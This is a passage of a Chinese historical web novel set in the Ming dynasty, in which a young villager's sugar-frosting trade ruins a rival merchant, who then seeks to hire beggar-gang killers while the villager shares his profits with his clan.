他们从未见过在自己手中会出现如此精美的糕点,宛若琼楼玉桂,冰心云魂。 几十辆马车等在城外,带着做好的糕点和成盒的极品霜糖,奔赴桂花斋在各地的店铺。 而老族长此时却出现在县衙门口,偷偷塞给牛师爷一包银子,要买刘家湾村后的一个山头儿。 这个山头不是哪个私人之物,是朝廷的。而大明是允许私人购买朝廷的土地和产业的。 但价格比市场价只能高,不能低,而且买回去之后依旧要交税。 例如这个山头儿,虽然不大,但山上有树,可以砍柴。 归属于朝廷时,朝廷会派人巡山,凡是有人来砍柴的,必须在下山时按砍的柴交税。 而如果山头被私人买了去,朝廷就不会派人巡山了,因为山上柴草归私人所有了。 再有人去砍柴,就要把钱交给私人。而私人每年要为这个山头向朝廷缴纳一定的税赋。 其实这山头和土地没啥区别,都是地主收佃户的租子,然后再向朝廷缴税。 所以我们在影视剧里经常看到的情节,一些恶霸地主不允许百姓上山砍柴,又打又骂。 其实这些往往都是给不起钱的,想砍霸王柴。真正付钱砍柴的,那是客户,客气还来不及呢。 毕竟人家也是要缴税给朝廷的,也是有成本的。当然那些死要高价的另说。 不过正常情况下,像柴草这种民生必需的物资,朝廷是不会允许地主要价太高的。 如果价格过高,而周围又没有别的山竞争,百姓就可以去朝廷告地主囤积居奇。 在当时,柴草和粮食一样,都属于民生必需物资,垄断后牟取暴利,都是囤积居奇罪。 而像糖霜这种东西,你爱卖多少贵卖多贵,反正不吃又死不了人。 牛师爷得了银子,便向知县进言,说那个山头儿离县城挺远的,税吏们都不爱去。 而且百姓给税吏们一点小钱,就可以偷偷上山砍柴,朝廷其实收不到多少税钱。 还不如卖给私人,既免除了一个税吏的开支,又可以每年稳定地收税。 知县觉得很有道理,便让牛师爷去处理,但要求一定不能卖便宜了。 牛师爷有些为难,他是很有职业操守的,都收了人家好处了,按惯例应该帮人家省钱才是。 于是一座正常值四百两的柴山,在牛师爷的笔下成了虫吃鼠咬,光板儿没毛的半荒山。 半荒山正常价格是二百两,牛师爷积极争取,让老族长付了三百两,为朝廷挽回损失一百两。 一事不烦二主,老族长又请牛师爷帮忙办理了砍柴的证件,杨家湾村民每户一个砍柴证。 牛师爷很吃惊,砍柴证这种事儿,一般都是专业樵夫才办的,杨家湾办这么多干什么? 第二十九章 血亏 老族长满脸堆笑,解释道:“师爷有所不知啊,自古宗族管理,不患寡而患不均啊。 杨家湾民风彪悍,老朽更是不敢掉以轻心。这柴山买来是当祖产的。 若只允许几户上山砍柴,其他人家岂会甘休?所以索性给他们每人办一个,免得麻烦。” 牛师爷想想也算有理,反正砍柴证这东西除了上山砍柴也干不了别的。 不过既然要办证,肯定是要花钱的,所以老族长为每张砍柴证又付了五十文钱。 杨成看着柴山契约和厚厚的一摞砍柴证,满意地点点头。 “族长爷爷,按朝廷规定,每个樵夫可配砍柴斧一把,斧柄最长可用三尺。 告诉铁匠叔,按数目打造斧头,斧刃在柴斧限制内尽量宽大锋利,斧柄按最长的来!” 十几天后,白鹿山打发走了两个干女儿,又认了两个新的,先取其一彻夜谈心。 结果刚谈到口舌生津,还没谈到赤诚相见的地步,二掌柜就疯狂砸门。 白鹿山大怒,放弃谈话来到院儿内,见二掌柜已经被干儿子开门放进来了,正在拼命喘气。 “深更半夜的,你发什么疯,撞鬼了吗?” 二掌柜一把抓住白鹿山的胳膊:“不好了,不好了,各地铺面派来伙计,糖霜,糖霜出事儿了!” 白鹿山一愣,随即脸色巨变:“有毒吗?杨成在糖霜里下毒了?老子跟他拼了……” 二掌柜连连摇头:“不是,没毒,他给的糖霜没毛病!是桂花斋的铺面,出现了霜糖!” 白鹿山这次是真糊涂了:“霜糖?霜糖是什么东西?” 二掌柜知道解释不清楚,从身上掏出几个纸包儿来,那是各地铺面伙计带回来的样品。 “这就是霜糖!桂花斋给起的名字,他们跟客户就是这么说的!” 虽然是半夜,但借着月光就能看出来,这霜糖比杨成卖给自己的糖霜要好太多了。 白鹿山脑袋嗡的一声,一把抢过干儿子手中的灯笼,粗暴地扯掉罩子,举起蜡烛照着霜糖。 看了半天,颤抖着用手捏起一小撮,放进嘴里,然后绝望地闭上了眼睛。 甜啊,真是太甜了,可齁死我了!!! 二掌柜哭丧着脸,他的身家性命都投在京福斋里了,他现在比白鹿山还惊恐。 “东家,东家,你得想想办法啊。桂花斋的糕点在各地已经炸锅了! 那些富豪权贵们的管家在桂花斋门口排长队啊,跟不要钱似的,抢糕点,抢霜糖啊! 他们说自家老爷说了,家里原来买的糕点糖霜一律赏给下人了,就要这顶级糕点和霜糖!” 白鹿山太清楚这些有钱人的调性了,他们买东西根本买的就是面子,就是地位。 霜糖确实比糖霜好,但说到顶天了也就是糖,可他们不在乎,他们就要最顶级的! 尤其是不知哪个缺德的把原本的糕点糖霜赏给了下人,那些富豪权贵就更不可能吃了! 我们是什么身份?岂能和下人们吃一样的东西?我们当然要吃更高档的! 这也是为何任何一个市场,顶流的利润永远都比第二名第三名加起来还高一样。 白鹿山忽然惊觉:“不对,快派人去通知黄仁,让他把所有糖霜都赶紧卖掉! 还有,咱们库里的所有糖霜,也立刻送到黄仁那里去!让他别囤了,马上都卖掉!” 话音未落,门外马蹄声响,随着车轱辘的尖锐摩擦声,马车甩尾漂移停在了门口。 咣的一声,车尾重重地撞在了门框上,把门框震得直掉尘土。 黄仁从车轿里掉出来,在地上打了个滚儿,连土都没拍,连滚带爬地冲了进来。 “完了!完了呀!那潘家不知从哪里弄到了极品糖霜,取名叫霜糖! 潘家的货已经出现在离大明最近的海岛上了!很多海外商人都跑到海岛上看货去了! 潘家卖的价格和咱们的糖霜一样啊,那些商人用不了多久,就都会成为他的客户了呀!” 白鹿山牙咬得咯咯响:“潘家的货,绝不是和桂花斋一起拿到的,他们拿到的更早! 否则出海是要时间的,绝不可能两边同时下手!好,好,好,杨成,你好手段!” 二掌柜彷徨无计:“东家,咱们怎么办?咱们手里囤着太多糖霜了,怎么办啊?” 白鹿山咬牙道:“赶紧卖,降价,只要不亏本儿就行!把本钱收回来! 这次我认栽了,等我处理完这些糖霜,我要让杨成求生不得,求死不能!” 然而当第二天新的消息陆续传回来时,白鹿山才知道自己亡羊补牢并没有什么卵用。 因为桂花斋和潘家并不是只卖霜糖,他们同时也卖糖霜。 霜糖卖糖霜的价格儿,糖霜只卖白糖的价格儿。而如果按白糖的价格卖,白鹿山的糖霜要赔一半儿! 这还不算潘家最后给他送来的那一千多斤老糖霜,那个赔得更惨,得赔掉七成! 同样倒霉的还有黄家,他们囤积的糖霜一点也不比白鹿山少,而且他们手里的老糖霜压根没卖给白鹿山! 糖霜的损失虽然大,但还是直接损失,而京福斋的糕点损失,还在后面呢。 白鹿山的糕点虽然还顶着一个宫廷贡品的名头,但当货品本身的质量差异太大时,名头也不管用了。 白鹿山正在拼命想办法,刘通居然又架着马车来了,这次倒是不多,只有二百斤。 在京福斋的大门口,白鹿山一步步走到刘通面前,打开盒子看看,目光中喷着怒火。 “我不要这些破烂货,我要杨成最新出的霜糖!立刻给我换过来,否则我……” 看看围观的人群,白鹿山把“杀你全家”四个字咽了回去,但眼神足以表达同样的内容。 刘通茫然不解:“什么霜糖?杨成哪有什么霜糖?不是糖霜吗? 白东家你看看,这都是好货啊。杨成说他的设备坏了几台,所以这次只能先送这些了。” 白鹿山咬牙切齿:“你他妈的跟我演什么戏?你不知道杨成有霜糖?你分明帮他设圈套害我!” 刘通吓得直哆嗦,声音都带着哭腔儿:“天地良心啊,什么是霜糖啊? 白东家,做人得讲良心啊!人家桂花斋给我高价,让我偷偷卖点糖霜给他,我都不敢啊! 我辛辛苦苦地把能拿到的所有糖霜都供给你了,怎么还供出错儿来了呢?” 第三十章 死局 白鹿山盯着刘通,一时竟然看不透,这家伙究竟是演的还是真的。 “我不管你真不知道也好,假不知道也罢,杨成手中真的有霜糖,你去给我换来!” 刘通十分为难:“他就算有霜糖,也不会给我换吧。契约上说的是糖霜,又不是霜糖。” 白鹿山咆哮道:“霜糖就是糖霜!以为起个名字就行了?分明就是一样东西!” “既然是一样的东西,为何白总商不肯守约收下这些糖霜呢?” 白鹿山猛然回头,只见潘家的马车拉着几百斤糖霜,已经停在了京福斋门前。 白鹿山面沉似水:“那是我和刘通之间的事儿,与潘家无关!刘通,你怎么说?” 刘通明显胆怯了,畏缩地退了一步:“既然白东家今日不方便,那……那我改天再来。” 说着,刘通赶着马车,委屈地往后退去。围观群众已经忍不住目视白鹿山,议论纷纷。 “不是说有多少要多少吗?看这架势,是要不起了?” “估计是吧,前些日子进了那么多糖霜,就算再有钱也折腾没了吧!” “嗨,你们懂什么呀,就不是钱的事儿。你没听说他们说什么霜糖吗? 这是听说有了更好的东西,就不愿意收原来的糖霜了,这不是把刘通坑了吗?” “嘘,小点声,白鹿山往咱们这边看了,小点声,低头,掩着嘴说!” 如果让这些围观之人,单独站出来面对白鹿山,必然一个个满脸堆笑,不敢得罪。 可人入群如鱼入海,瞬间就能从唯唯诺诺的懦夫变成口无遮拦的勇士,这就叫群胆。 虽然人们看似只是捂嘴打哈欠,但蚊子一样的嗡嗡声汇聚到一起,就成了批判的洪流。 “白鹿山,你不要脸,不守契约,吹什么呀吹,还他妈首富呢,这俩逼钱都掏不出来!” 白鹿山和干儿子们怒视人群,可人群压根不和他们对眼儿,只是左顾右盼的嘴角微动。 就在白鹿山拔剑四顾心茫然的时候,潘亮淡淡地开口了。 “白总商,你和刘通的事儿不关我的事儿,但我送来的糖霜,可不会像他一样拉回去。” 白鹿山怒视着潘亮,潘亮抚摸着自己刚刚蓄起来的短须,毫不畏惧地和他对视着。 白鹿山身边的两个义子蠢蠢欲动,潘亮身边的赶车伙计也把手搭在了轿厢里放着的棒子上。 当初白鹿山在大明各地,和潘、黄两家冲突数次,深知潘家也是根硬骨头。 真打起来,虽然自己这边是主场,但也未必能占多少便宜。 这是县城里面,王法之地,不是当初他们拦路厮杀的荒郊野外。 打死打伤必然经官,潘家财力雄厚,这两年给靠山也进贡不少,靠山很可能两不相帮。 关键是不占理呀,人家按契约来送货,自己收不起了,动手打人? 刘通是本地人,跑得了和尚跑不了庙,所以自己可以威胁恐吓,让他知难而退。 可潘亮却不是那么好对付的,他这是铁了心的趁人之危,要自己好看啊! 白鹿山铁青着脸走到车前:“你前几天不是送过来一千多斤吗?平时你一年也就能给我几百斤,你哪来那么多的糖霜?” 白鹿山给潘亮挖了个坑,他知道潘亮此时也是怒火上头,最好他能丧失理智,说出以前糖霜出海的话来。 只要他大庭广众下这一句话,白鹿山就能把他送进官府,让郭纲判他个违反海禁,私通外寇之罪。 潘亮冷笑道:“人人皆知,糖霜产量是凭运气的,每年的运气不好,今年运气好,糖霜产量高啊。” 白鹿山冷哼一声,打开盒子,顿时脑袋嗡的一声,当即气得三尸暴跳! 那压根不是老糖霜!那就是杨成卖给他的糖霜!和刚才刘通拉来的一模一样! 现在潘家是演都不演了,等于名牌告诉白鹿山,他们和杨成就是一伙儿的! “这不是你们的糖霜,是杨成卖给你的对不对?你们勾结起来想害我!” 潘亮连连摇头:“杨成信守承诺,他把所有糖霜都卖给你了。我去买过,他不卖。 桂花斋的王德福也去买过,他也不卖,你可以随便去查!” 白鹿山怒道:“那你这糖霜是哪里来的?你别告诉我你们也学会了杨成的秘方!” 潘亮笑了笑,一脸欠揍的表情:“那些平时给我供货的工坊供给我的呀。 不过我听说,他们自己确实做不出来这种糖霜,但他们可以到市场上去买啊。 我听他们私下里说,现在这种上好的糖霜,在市面上只卖两千文。 他们收回来按收购契约,两千五百文卖给我,一转手就是五百文的赚头。” 没错,因为市面上忽然出现了霜糖,而且只卖五千文。 原来的这种糖霜,桂花斋降价只卖两千文,白鹿山和黄家也只能跟着卖两千文! 至于之前潘亮送来的老糖霜,现在市面上只值一千文了,和普通白糖已经不做什么区分了。 白鹿山大怒:“你是傻卵吗?市面上卖两千文,你两千五百文收?” 潘亮摊摊手:“契约是一年一签的,今年才刚开始,就算咬牙亏钱也得收啊。” 他忽然笑了:“再说了,我跟你的契约是三千五百文一斤,去掉运费折损,我还赚不少呢。” 白鹿山牙咬的咯咯响:“你他妈的,收了市场上的货来卖给我?” 潘亮连连摆手:“你别冤枉我啊,我可没到市场上收货。人家工坊供货给我,我还能管人家货源不成? 人家就说是自己做出来的,我有什么办法?白总商,说了半天,你到底收还是不收啊?” 白鹿山狞笑道:“老子今天要就是不收呢,你待怎样?” 潘亮拍了拍手上粘着的糖霜,平静的直起身子。 “不怎样,告你!县城不行到府城,府城不行到京城。你不守契约,告到天边我也不怕!” 白鹿山是真的不想让他去告,但他也明白,现在收了潘家的糖霜,那就是饮鸩止渴! 正如潘亮所说,今年才刚开始,一年的契约,谁知道潘家还会再送来多少车糖霜? 世面上的糖霜,不止自己在卖,黄家也在卖,桂花斋也在卖。 而今天自己拒收了刘通的货,其实已经是默认了刘通也可以到市面上去卖了。 这些糖霜,在市面上转一圈,最后都会回到潘家的手里,再转回到自己手里, 每转一圈儿,所有人都赚钱,只有自己在血亏!这一年中自己要亏掉多少钱? 不收,是违反契约,不但要巨额赔付,丢了糖霜总商,而且从此在商道上举步维艰。 收,糖霜如潮,源源不断地转,每转一圈就会抽走自己的血,直到抽干。 这他妈的是个死局啊! 第三十一章 雇凶 白鹿山忽然冷静了下来,他脸上的怒火缓缓变成了微笑,潘亮有些意外的看着他。 “潘兄,咱们都是一条船上的,这是何必呢?我知道你对当年之事还有气,我能理解。 冤家宜解不宜结,这次的面子我给了。还请潘兄高抬贵手,别惹得上面不满。” 说完白鹿山一挥手:“来人啊,付钱,收货。” 二掌柜目瞪口呆,又不敢说什么,只得回去搜箱刮笼地凑够了钱,收下了货。 潘亮收下钱,也不说话,只一拱手,带着马车扬尘而去。 白鹿山冷冷地看着马车,深吸一口气。刚才的一瞬间,他已经做出了决定。 先稳住潘家,潘家只是这场恐怖潮汐中推波助澜的人,和桂花斋一样。 真正搅动潮汐,反复抽自己血的人,是杨成。 巨大的损失让白鹿山血灌瞳仁,去他妈的顾虑,他要干掉杨成! 杨成是这一切祸乱的源头,就像一只大手,轻轻一搅动,就把糖霜市场搅出了疯狂的漩涡。 白鹿山要砍掉这只手,只要这只手断了,旋涡就会平息,一切都还来得及! 这种事儿郭纲是不会帮忙的,他只有动用自己的黑道力量了。 白鹿山一面派人秘密出城去联络,一面亲自出动,来到在城墙边上的一个大院子里。 这个院子的位置很微妙,虽在城里,却紧贴着城墙,似乎住在里面的人,随时准备跑路一样。 院子里有十几间房子,每个房子里都住了不少人,就像集体宿舍儿一样。 院子中间有片空地,空地旁边放着一些石锁、扎枪、砍刀一类的东西。 扎枪和砍刀,在其他地方肯定是违规之物,可在这里,它是有证的。 因为这院子里住着很多走江湖卖艺的艺人,这些武器是他们卖艺吃饭的家伙,朝廷给发证。 白鹿山带着两个干儿子走进院子,门房里立刻钻出来两个男人。 他们身上衣着干净,但肩膀处都打着一块补丁,看着颇为古怪。 “哟,这不是白东家吗?今天什么风把您吹来了?” 白鹿山抬抬下巴:“来拜访孙二爷,怎么,这早晚还没起来吗?” 正房里传来一声咳嗽,一个干瘦的老头叼着旱烟袋走出来,目光炯炯,腰板挺直。 “白东家,叫花子的地方,没事儿你肯定不会来的。有什么事,说吧。” 白鹿山拱拱手,径直走进了正房,一个同样穿打补丁衣服的女孩正在泡茶,给两人各倒上一杯,便出去了。 白鹿山看着姑娘的背影:“我记得你这里没有女花子啊,你认的干女儿吗?” 孙二爷摇头:“我没有认干女儿的习惯。这是一家子走江湖卖艺的,过来挂单。 这姑娘勤快,见我这屋子太乱,得空了帮我拾掇拾掇。” 在明朝,卖艺被视为乞讨方式的一种,属于艺花子。所以也可以到当地栖流所挂单。 白鹿山压低声音:“我有桩大买卖,想请孙二爷帮忙,事成之后,我出五百两银子!” 孙二爷眉头一抖,旱烟袋的铜锅里喷出一股烟灰,他缓缓放下烟袋。 “这是买五条命的钱了。上次在海盐城外我死了两个人,你也才给了二百两。” 白鹿山低声道:“你找几个身手好的,只是杀一个人而已。事后若查不出来,你一个人都不用死。 若是倒霉被查出来了,出一人抵命就是了。一条命五百两,怎么说你也不亏吧。” 孙二爷淡然道:“不会是杀王德福吧,如果是他,五百两可不够。 他身边带的伙计是有功夫的,而且他家族中也有做官的,虽然不算大,可对付我足够。” 白鹿山摇头道:“若是王德福能杀,我当初也不用费那么大劲折腾当糖霜总商了。 放心吧,只是杀一个乡下泥腿子罢了。杨家湾的杨成,你应该知道吧。 找几个乞丐到杨家湾乞讨,半夜杀了他,就说是见财起意,过后找人偿命就是了。” 孙二爷沉默半晌,磕了磕烟袋锅,慢条斯理地重新装烟,点烟。 “这活儿不能接,杀杨老虎的孙子,万一漏了,那就不是抵一条命那么简单了。 全海盐的人都得戳我脊梁骨,谁知道哪天走在路上,就被人一刀给捅了。” 白鹿山不屑道:“没有你说的那么邪乎。海盐是有不少人感念杨老虎,可感念之心也是分程度的。 说几句好话也是感念,接济财物也是感念,可为了感念豁出命去,愿意替人死的,古今能有几人? 人性都是趋利避害的,要说杨成活着,或许还有人愿意保护他,他都死了,报仇有什么屁用?” 孙二爷不再说话,只是抽烟,白鹿山咬咬牙:“我出一千两,行不行?” 孙二爷叹口气:“这不是钱的事儿,今天的话我就当没听过,我也不会通风报信,你走吧。” 白鹿山冷哼一声:“你说的没错,这不是钱的事儿。别把自己装得那么讲究。 这些年海盐的花子混混都是靠什么活着的,你干的那点事儿,我都知道。” 孙二爷眼皮都不抬:“这我知道,不过其中有些事儿,都是帮你干的。 花子命贱,你若非要拿瓷器碰瓦片,我陪着,不送。” 白鹿山见威逼利诱都无效,忽然又平和地笑了。 “既然是生意,就讲究个你情我愿。既然你不肯接,那就算了,以后有生意再找你。” 说完起身离开,孙二爷看着他的背影,轻叹一声。 他知道白鹿山肯定还有后手,绝不会只找他一家儿。 不过他不能坏了规矩去做什么,杨成啊杨成,但愿你父祖能保佑你逃过这一劫吧。 白鹿山走出大院时,从怀里掏出一块黄灿灿的金子,在手中抛了抛,然后直接回到了自己的家里。 他让干女儿泡上一壶茶,然后耐心地等待着。 片刻之后,虚掩的院门被打开,孙则脚步轻巧地闪了进来。 “白东家,你走之后,我叔叔没找人派差使,看来是没谈妥呀。” 白鹿山笑着把手里的金子放在石桌上。 “金银遍地走,只等有缘人。都混到当花子了,还有什么比赚钱更重要的吗?” 第三十二章 分钱 孙则笑着坐下,把玩那块金子:“我叔叔不接的活儿,肯定不止值这么点。” 白鹿山拿出几张大明宝钞:“先付五百两,事成之后,再付五百两。” 孙则眯起眼睛:“这么贵?杀谁?不会是官儿吧?” 白鹿山平静地说:“杨家湾,杨成。” 孙则把玩金子的手停住了,眼睛看向桌上的宝钞,又看了看白鹿山。 “这小子已经很久没进过城了。听说,他现在连杨家湾都不出。 谁想见他,只能去杨家湾找他。而在杨家湾下手杀杨老虎的孙子,那和找死有什么分别?” 白鹿山用手像捋叶子牌一样,捋着那几张一百贯面额的大明宝钞,就像在配一副必胜的牌。 “一千两银子,在过去都能杀个知县了。想不到现在丐帮后继无人了。” 孙则斜眼看着白鹿山:“白东家手下也有硬茬子,怎么不敢用?非要便宜外人?” 白鹿山哼了一声:“杀人不难善后难,我又不想和他同归于尽。 我的人动手,万一查出来,就不是光偿命的事儿了,我能逃得了干系? 这种事儿历来是丐帮最拿手的,无牵无挂,赌赢了一生无忧,赌输了烂命一条。” 孙则缓缓伸手,从白鹿山手中拿过那五百贯的大明宝钞。 “这东西是十兑九,听说有些地方只给兑八五了。剩下的那些,我要银子!” 白鹿山点头:“只要杨成死了,我很快就能摆平所有事,到时候你要金子都行!” 孙则转身要走,白鹿山叫住了他:“你拿了钱,我总得知道你打算怎么干。” 孙则笑了笑:“其实杨成死不死,对你来说并不重要。 你要解决的是糖霜的事儿。所以我打算双管齐下……” 白鹿山听完孙则的计划,点点头:“好,有两下子,这一千两花的物有所值。” “你说什么?你要把一千两银子都分出去,你疯了吗?” 白寡妇一声惊叫,吓得院子里的小鸡们叽叽喳喳地吵个不停。 杨草和杨牛早就吃完了鸡蛋,照旧躲进杨成的屋子里,让杨成一个人面对疾风。 “你是不是挣俩钱就不知道东西南北了,嗯?这钱得留着给你娶娘子啊! 你是觉得你钱多得没地方放了吗?交给娘啊,娘帮你保管啊! 再说了,七房娘子,万一哪一房生不出儿子来,你搞不好还得纳妾呢! 就算纳三房妾吧,哪个家世清白的给你当妾,不得要你一百两银子? 典娘子的倒是便宜,以前我也不是没想过这条路,可那拖家带口的,麻烦多着呢……” 眼看娘越说越远了,杨成赶紧止住她丰富的畅享能力。 “娘,我这段日子赚了多少你也清楚,这一千两银子不至于伤筋动骨。” “皮肉也疼啊!而且我可听说了,外面的糖霜都在降价,以后未必能这么好赚了!” “娘,咱们赚的可都是白鹿山的钱,你猜他会不会派人来弄死我?” “他敢!你只要不出杨家湾,谁敢动你!你爷爷是他们的杨将军!” “是,他们都说过,将军的恩情还不完。 但他们要护多少次能还清?一次?两次?还是三次? 等他们觉得他们还清了,再有人来杀我怎么办?这工坊就是块肥肉。 只要这工坊还在,就是白鹿山没了,还有黑鹿山,灰鹿山呢!” 白寡妇沉默了,她只是心疼银子,并不是傻子。人心多变,谁敢保证? 杨成轻声道:“如果我只想在杨家湾平凡一生,父祖的余荫足矣。 可我要身祧七家,我要保家护族,光耀门楣,就不能只吃父祖的老本儿。 我得把他们的感念之心,从父祖身上延续下来,而这不能只靠嘴说,要能同甘共苦才行。” 白寡妇叹了口气:“算了算了,跟你们老杨家的男人斗嘴,我就没赢过,随你吧。 反正还是那句话,你得留够钱娶媳妇,养孩子!” 杨家湾,祠堂门口,鼓声再次响起。 众人齐聚祠堂,气氛火热,就像过节一样,人人脸上都洋溢着笑容。 杨成身边是几个大筐,用布盖着,那是这几天刘通和潘家陆续送来的。 “各位杨家湾的叔伯兄弟,大家也都知道,工坊这些日子确实赚钱了! 没有大家的支持,就没有这间糖霜工坊。这工坊虽然是我的,但也是整个杨家湾的!” 这话让大家心中热乎乎的。盖工坊的时候人家可是给了工钱的,供饭还有鸡蛋和鸡肉呢! “再往前看,没有当初的小作坊,就没有今天这座大工坊。 没有大家凑给我的红包,我就迈不出这第一步。所以今天,我要送大家两份礼物!” 见人到齐了,杨成点点头,杨草和杨牛用力掀开盖着大筐的粗布,顿时引发一片惊呼。 虽然早有消息,说杨成要送大家礼物,但都以为是些生活用品,却没想到竟然是铜钱! 粗暴,太他妈的粗暴了!不过我们喜欢! 大宗交易现在用宝钞和金银的多,铜钱毕竟太占地方了。 不过杨成特意让人换了几筐铜钱来,要的就是视觉冲击力。现在看,很成功。 “第一份礼物,从今以后,工坊的利益,村里人不论杨姓还是杂姓,无论男女老少,每人都有一份儿!” 杨家湾是大村,有二百多户人家,上千口人,每人一贯钱。 村民们兴高采烈地上前领钱,杨牛、杨草负责分钱。 老族长在旁边记账,雪白的胡子笑得乱颤,眼睛里却满是泪水。 厚丰哥啊,小成子,他出息了。他骨子里太像你了。 纷乱之中,杨成看见人群外围,一个佝偻的身影顺着墙根正在离开。 杨成追了出去:“刘婶儿,你还没领钱啊,家里有事儿?” 刘婶儿抬起满是皱纹的脸,嘴角翕动,神色尴尬凄苦。 “小成子,好孩子,婶儿不要钱。二蛋那么混,我哪有脸拿你的钱啊。” 杨成冲杨草挥挥手,伸出两根手指头,杨草捧着两贯钱跑了过来。 “婶儿,别这么想。二蛋哥和我一样,都是没爹的。你和我娘,都不容易。 我原来不也一样混吗,不过是大家对我更宽容罢了。这是你和二蛋哥的钱,拿着吧。” 刘婶儿用袖角擦擦眼泪,捧着两贯钱颤颤巍巍地回家去了。 村民们都看到了这一幕,他们纷纷感叹,杨成不但有父祖之风,甚至青出于蓝。 杨老虎人虽好,可是嫉恶如仇,杀气太重。这小成子却多了一份儿随和和温情。 杨成回到祠堂门口,拿出一摞纸片来。 “第二份礼物,是我买了一座柴山,送给整个杨家湾的人。 村里每一户都有一张砍柴证,凭证可以到铁匠叔家领一把斧头! 家中无男丁的,可以把证和斧头借给男丁多的人家,砍柴回来给带上一份儿就是了!” 众人越发欢呼雀跃,要知道在当时,柴山可是一份重大的财产。 一个村子里有了柴山,就意味着再也不用担心冬天挨冻了。 杨成看着众人踊跃地拿着证往铁匠家跑去,眼中闪着光,似乎看到了斧头帮在跳舞。 第三十三章 不公 深夜,住村口哨房的杨老惊起夜,看见村口小路上有黑影,惊叫一声。 “什么人,站住,否则我敲锣了!” 并不是所有村都有哨房的,但海盐城很多村都有这个配置,这是当年杨老虎定的规矩。 当时各路兵马纵横来去,犹如饿狼。村口安排哨房,房檐挂钟,床边有铜锣,村中有火堆。 一旦有乱兵过境,锣响钟鸣,火起烟浓,杨老虎就会带着队伍前去支援。 天下平定后,杨老虎的队伍解散,各村的哨房也逐渐废弃。 只有杨家湾保持传统,哨房里仍旧住着人,但已经不是当年的青壮战士了。 杨老惊是杨家湾孤老,无儿无女。年轻时出去四处浪,吃喝嫖赌,没说上媳妇。 等老了,家产也都霍霍没了,更没人愿意给他过继当儿子,于是就成了孤老了。 村中同族合议,觉得总不能饿死他,于是族中共管,给他口饭吃,类似后世的五保户儿。 他没住的地方,于是就住在了哨房里,顺便帮村里守村放哨儿。 杨老惊年轻时浪多了,老了尿频尿急,一夜起夜七八次,刚好半个时辰醒一次,堪称天选守村人。 这年月,大半夜的很少有人进村儿,所以杨老惊的惊呼是有道理的。 那黑影赶紧仰起脸来:“老惊叔,是我,二蛋啊!” 杨老惊借着星光看了一阵,确认之后,忍不住抱怨。 “你这肯定又是输光了钱,没地儿呆了才跑回来的吧。 不是我说你二蛋,爷们儿我年轻时跟你一样一样的,看看现在是个什么下场? 幸亏我没儿子,要是有儿子像你这样,还不如没有!” 杨二蛋撇撇嘴,要是以往,他肯定会反唇相讥,但今天他心事重重。 杨二蛋回到家,这是村里第二破的房子,仅好于有家不回的杨草。 刘婶儿已经睡下了,见儿子回家,赶紧爬起来,给杨二蛋热饭。 一边烧火一边喜滋滋地告诉儿子:“二蛋,今天村里发钱了,一人一贯,咱家得了两贯钱呢!” 杨二蛋愣了一下:“村里发钱?发什么钱?” 刘婶儿把经过说了一遍,又感慨道:“二蛋啊,你看杨成多好。你以后可别跟人家对着干了。” 杨二蛋心神不宁:“娘,别忙活了,我吃过了,我还给你带了烧鸡呢。” 刘婶儿看着食盒,叹了口气:“你成天在城里混,钱咋来的,娘不问也能猜到。 二蛋啊,你爹死得早,就剩咱娘儿俩,你啥时候能收收心,好好过日子啊。” 杨二蛋点点头:“娘,我这次回来,就是想好好过日子的。我知错了。 我想,娘你能不能帮我和族长说说,让我也能进糖霜工坊干活儿。 那里工钱高,我干上两年,就能娶媳妇,生儿子了。” 刘婶儿又惊又喜,儿子终于浪子回头了!看来杨家祖坟的青烟总算没都让杨成入肺,还喷出点来。 不过刘婶儿还是与自知之明的:“村里人都挤破脑袋想进工坊呢,咋可能用你呢。” 杨二蛋哀求道:“娘,你不试试怎么知道?就凭我爹战死,我也该有这个机会啊!” 不管孩子如何不堪,在父母眼里永远都是好的,何况如今浪子回头了呢? 刘婶儿犹豫了一晚上,第二天还是去求了族长,族长大吃一惊,连连摇头。 “长贵家的,你这不是说梦话吗?咱村最不可能进工坊的就是二蛋了。 别说杨成不可能答应,就是我也不可能答应啊!你可别胡闹了。” 刘婶儿直接就跪下了,涕泪横流:“厚德叔,我知道你为难。 可二蛋好不容易回头了,你要不拉他一把,他再走老路怎么办? 他也是个没爹的孩子,如果他最后也像老惊头儿一样,我死后怎么见杨家祖宗啊。” 老族长虽然十分难受,但他还是坚持不同意。 这时杨成从李正家出来,刚好路过,刘婶儿直接转身,又给杨成跪下了。 老族长顿时脸色铁青:“长贵家的!你干什么?想折杨成的寿吗?” 杨成眼疾手快,一把托住刘婶儿,他脸上神色淡然,瞳孔却微微收缩。 “娘!你不用求他了!我这口气忍了很久了!今天就说个清楚!” 杨二蛋冲过来,一把扶起老娘,转身冲到祠堂前,敲响了大鼓。 人们都以为是杨成又有什么好事儿了,纷纷聚拢过来,却愕然看到是杨二蛋站在祠堂前。 他也有资格敲祠堂的鼓?这鼓可是族中有大事儿才敲的,他能有啥大事儿? 人们议论纷纷,表示不满,但杨二蛋今天豁出去了,他眼睛通红地瞪着大家。 “杨家湾所有人都听着,我杨二蛋今天就想要个公道! 我知道你们都看不起我!说我是泼皮无赖,说我不务正业,可我就是不服!” 众人被杨二蛋的咆哮声吓住了,都静静地看着他。 刘婶想上前阻止,可杨二蛋此时站在祠堂门口的大鼓下,那不是女人能去的地方。 “我爹明明也是跟着杨老虎打仗死的,凭什么就他杨成金贵? 从小到大,我犯点错村里人就骂我是无赖,他做了坏事儿就好像天经地义! 他只是把讹诈你们的鸡还给了你们,你们就说他浪子回头!又送红包又盖作坊的! 现在他仗着全族的帮忙弄出了糖霜,赚了大钱,拿点小恩小惠打发你们。 就把你们感动得哭鸡鸟嚎的,好像他干了什么了不得的大善事一样! 就连李香儿现在也成天往工坊跑,他比我强哪儿了,不就是有钱了吗?” 众人呆呆地听着,冷不丁听到这一句,都齐刷刷地把目光转向李香儿。 李香儿本来事不关己,正看戏看得津津有味,这一下差点闪了腰。 要不是李正娘子死死拉着她,她都满地找石头要砸杨二蛋了。 杨二蛋情绪激动,犹如滔滔江水,一发不可收拾。 “而我呢?你们什么时候正眼看过我?我也姓杨啊! 我爹也死了!也是为了保护你们死的!你们捧他当东家,却连个伙计都不让我干! 我爹死时,杨老虎连抚恤银子都克扣了一半儿!你当我那时候小,就什么都不知道吗?” 刘婶儿呆呆地看着儿子:“二蛋啊,你胡说些啥呀!你爹能和杨将军比吗? 别说比不得杨将军,就是他那七个儿子,谁又能比得上哪个?你爹他…… 孩子,你别发疯了。回头我再跟你说,你快跟娘回家,别胡闹了!” 